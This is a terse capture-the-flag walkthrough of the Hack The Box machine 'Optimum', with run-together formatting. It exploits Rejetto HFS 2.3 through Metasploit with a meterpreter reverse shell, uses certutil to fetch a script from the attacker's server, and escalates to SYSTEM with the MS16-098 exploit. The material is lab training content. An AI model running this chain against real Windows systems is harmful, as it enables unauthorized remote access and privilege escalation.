Optimum
HTB 7. Optimum
nmap -A -T4 -p- 10.10.10.8
reveals only port 80 runninghttpd 2.3
Going to
10.10.10.8
shows its a file serverSearch for default credentials (httpd has no default credentials)
searchsploit rejetto
(since rejetto is the vender of this file server)Search google for
rejetto hfs 2.3 exploit
reveals metasploit remote code execution and many othersNmap reveals probably an OS that the exploit works on
Metasploit
use exploit/windows/http/rejetto_hfs_exec
, set rhsots, and set payload towindows/x64/meterpreter/reverse_tcp
set lhost tun0
instead of typing in IP (because its faster)sysinfo
showsx64
onx64
andgetid
iskostas
Attempt priv esc:
getsystem
fails,background
anduse post/multi/recon/local_exploit_suggester
(set session 1
) andrun
reveals nothingSearch google for
windows 2002 r2 (build 9600) privilege escalation
revealsexploit-db
exploit avaible that might possibly workSearch
ms16-032
in metasploit shows there is a module for it. Letsuse
it. Set target to1
which isx64
. Setlhost tun0
andlport 443
. Ran twice; didn't work.Manual method: Download
sherlock
above assher.ps1
. Start http server with python and use cerutil (certutil -urlcache -f http://10.10.14.14/sher.ps1 sher.ps1
) to download file. Run withpowershell.exe -exec bypass -Command "& {Import-Module .\sher.ps1; Find-AllVulns}"
. Result: 3 Potential vulnerabilitiesClone AonCyberLabs/Windows-Exploit-Suggester, run
python ./windows-exploit-suggester.py --update
Run
systeminfo
in shell on target and put in text file forwindows-exploit-suggester.py
.Run
python ./windows-exploit-suggester.py --database 2014-06-06-mssb.xlsx --systeminfo win7sp1-systeminfo.txt
which detectsMS16-098
exploit; download exploit fromexploit-db
.gcc 41020.c ex.exe
fails so lets download the binary from the link provided onexploit-db
.Run python web server, download to target, and run with
sh.exe
.whoami
gives usnt authority\system
Last updated